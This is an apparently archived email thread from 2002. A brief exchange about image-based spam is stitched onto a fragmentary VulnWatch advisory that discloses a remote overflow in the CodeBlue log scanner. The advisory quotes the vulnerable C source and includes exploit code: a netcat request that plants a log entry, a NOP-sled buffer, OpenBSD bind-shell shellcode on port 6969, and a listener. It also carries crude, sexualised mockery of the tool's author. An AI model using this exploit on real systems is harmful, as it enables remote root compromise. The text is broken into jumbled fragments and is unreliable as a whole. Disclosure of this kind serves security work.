> I hate to bring this up, but I see more and more spams that contain very
> little, if any, text.  Instead, most of the spam text is in a graphic image.
> How will we be able to detect those as spam?  OCR?
or, alternatively, giveaway patterns in the HTML?  That's what's happening
with most obfuscating techniques the spammers are trying -- they become
a very reliable sign of spam in themselves!

from localhost (localhost [127.0.0.1])
	by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C2291440A8
	for <jm@localhost>; Wed, 24 Jul 2002 12:47:44 -0400 (EDT)
from dogma.slashnull.org [212.17.35.15]
	by localhost with IMAP (fetchmail-5.9.0)
	for jm@localhost (single-drop); Wed, 24 Jul 2002 17:47:44 +0100 (IST)
from vikki.vulnwatch.org ([199.233.98.101]) by
    dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6OGeB426692 for
    <jm@jmason.org>; Wed, 24 Jul 2002 17:40:11 +0100
Demi Sex God from Hell <doe@orbital.wiretapped.net>
[VulnWatch] Remote hole in Codeblue log scanner
From vulnwatch-return-403-jm=jmason.org@vulnwatch.org  Wed Jul 24 17:47:46 2002

TITLE: Potential remote root in CodeBlue log scanner
DATE: YES, PLEASE MAIL ME IF YOU ARE FEMALE (send pictures)
CRAZY TRACKING NUMBER THAT MAKES IT LOOK LIKE I HAVE SOME MASSIVE DATABASE OF
you may remember me from sweaty nights of passion, or perhaps from yesterday when
i announced the release of a piece of software i wrote (many years ago too
in general i received no feedback from this, cept from one guy having problems
downloading it (howd that go btw?) and then this:
Subject: RE: ass the attack spoofing shell
well! how very very rude. that really was uncalled for. (propz to dme yo!).
gay, bi or curious, i went to find out more about mystical michael, who is
obviously very important as he is the only one who felt the need to tell me
they didnt like me. it turns out, hes a bit of programmer, with some code
available on his website (www.tenebrous.com). I got codeblue, (btw mystical
mike your auto-download script for you counter gives me a 500 error), a log
checking utility mystical mike wrote and released under the GNU GPL to make
If this tool is run as root (say nightly from roots crontab) there is a
potential remote root. in any case, regardless of user, there is
always a remote. if codeblue is locally suid, theres many overflows all
throughout it, easy peasy like the girls in st patricks!!!.
Note st patricks is a great place in sydney, playground of the rich and
famous. visit it if you ever visit sydney, tell them i sent you.
so lets have a walk through the code, and get a feel for mystical mike, the
man behind the mystic. (do you wear a crazy robe with a hood like a monk
CHANGES     COPYING     Makefile    README      codeblue.c
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
* $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01
*                      -[ G O D  B L E S S  A M E R I C A ]-
*            CodeBlue v5.0 by Michael (mystic@tenebrous.com)
*  This software is freely distributable under the terms of the GNU/GPL.
*                    Please see file 'COPYING'
/* god bless america, AND mystical mike! */
/* shared signal handler doing all sorts of stuff, not very good mike :( */
char logline[512]; /* logline is global */
if (found_infected == 1) { /* if it picks up a worm entry in the */
char whoispath[512] = "/usr/bin/whois"; /* global */
case 'e':{      /* return email address */
case 'p':{      /* path to whois binary */
Now, all this is good for a laugh, but unless its suid, not much use :(
CodeBlue will scan apache/squid logfiles looking for code red and nimda log
hits. If it finds a hit, it will connect to the source ip adress of the hit
and send an email warning of infection. Unfortunately, mystical mike was too
far up on his high horse to write something decent.
The function that does this is send_email() (line ~552)
char *host = malloc(sizeof(char) * 512);
/*  .... silly crap using popen and stuff .... */
/* host is the infected host from the logfiles
* this will connect to the host on port 25
if ((sd = smtp_connect(host)) < SUCCESS)
/* Step 0 - Get initial server response */
char response[1024]; /* this is the remote host's mail server buf */
* 1 byte at a time until we receive a carriage return
* or line-feed character, signifying the end of the output
/* GEE! THAT SOUNDS LIKE A GOOD IDEA MYSTICAL MIKE#@!#@! */
if (select((sd + 1), &rset, NULL, NULL, &tv) < 0) {
fprintf(stderr, "[ ERROR: select() failed: %s\n",
if (recv(sd, (int *) &response[i], 1, RECV_FL) < 0) { /* Hello */
fprintf(stderr, "[ ERROR: operation timed out\n");
fprintf(log, "..... ERROR: operation timed out\n");
fprintf(stderr, "[ ERROR: recv() failed: %s\n",
fprintf(log, "..... ERROR: recv() failed: %s\n",
So slowly but surely, response is overrun, unless it its a newline.
* hi, this is an exploit that doesnt work. it should be enough of a point in
* the right direction though. the overflow is in get_smtp_reply(), codeblue.c
* is pretty damn poor, there are more!!!
* being in a funny mood one afternoon, i made some software publicly
* available, the next morning i see this in my mailbox:
* From mystic@tenebrous.com Mon Jul 22 19:50:46 2002
* Received: (qmail 2711 invoked from network); 22 Jul 2002 19:50:45 -0000
* Received: from mail110.mail.bellsouth.net (HELO imf10bis.bellsouth.net)
*  by orbital.wiretapped.net with SMTP; 22 Jul 2002 19:50:45 -0000
* Received: from Michaels ([68.16.174.6]) by imf10bis.bellsouth.net
* Subject: RE: ass the attack spoofing shell
* X-Mailer: Microsoft Outlook, Build 10.0.2616
* X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
* so i had a visit to www.tenebrous.com, found some software written by this
* To use this against a webserver (A) using codeblue.
* $ printf "GET /scripts/root.exe\r\n\r\n" | nc A 80
* this will add an entry in the access log.
* when codeblue runs it will pull your ip from the logs, connect to your port
* 25 and try to send you a mail. because mystic is an idiot, you will get a
* krad haxxor props: dedmunk (happy now#@!!#@) ph1ll1p, caddis, buo, solace,
* everyone on #cw , everyone in paris (you have a lovely city, i had a lovely
* time last weekend, thankyou!!!) dedmunk, everyone at netcraft (esp Mike,
* hi!), everyone in sydney, dedmunk, everyone i go drinking with, anyone who
* lives in london, marlinspike (yo!), the woman who sells me my cigarettes in
* the morning on the way into work, thomas greene, dedmunk, adam, durab, sh00ter.
* BIG SHOUT OUT TO TOLIMAN AND ZERO SUM, UNDERSTAND!!
* $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01 root Exp root $
*                      -[ G O D  B L E S S  A M E R I C A ]-                             *
#define OF 2048 /* this is bigger than needed */
/* Optimized the code, now it works better in bad situations */
/* i dont know who wrote this, sorry, if you wrote it, let me know */
shell on port 6969/tcp shellcode for OpenBSD by noir
printf("strlen scode = %d\n", strlen(shellcode));
fprintf(stderr, "usege: %s [port]\n", argv[0]);
memset(p, '\x90', 1020 - strlen(shellcode));
if ((fd = socket(PF_INET, SOCK_STREAM, 0)) < 0){
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) == -1) {
if (bind(fd, (struct sockaddr *)&sock_in, len) < 0) {
printf("listening on port %d\n", atoi(port));
if ((a = accept(fd, (struct sockaddr *)&sock_out, &len)) < 0){
printf("got a connection from %s\n", inet_ntoa(sock_out.sin_addr));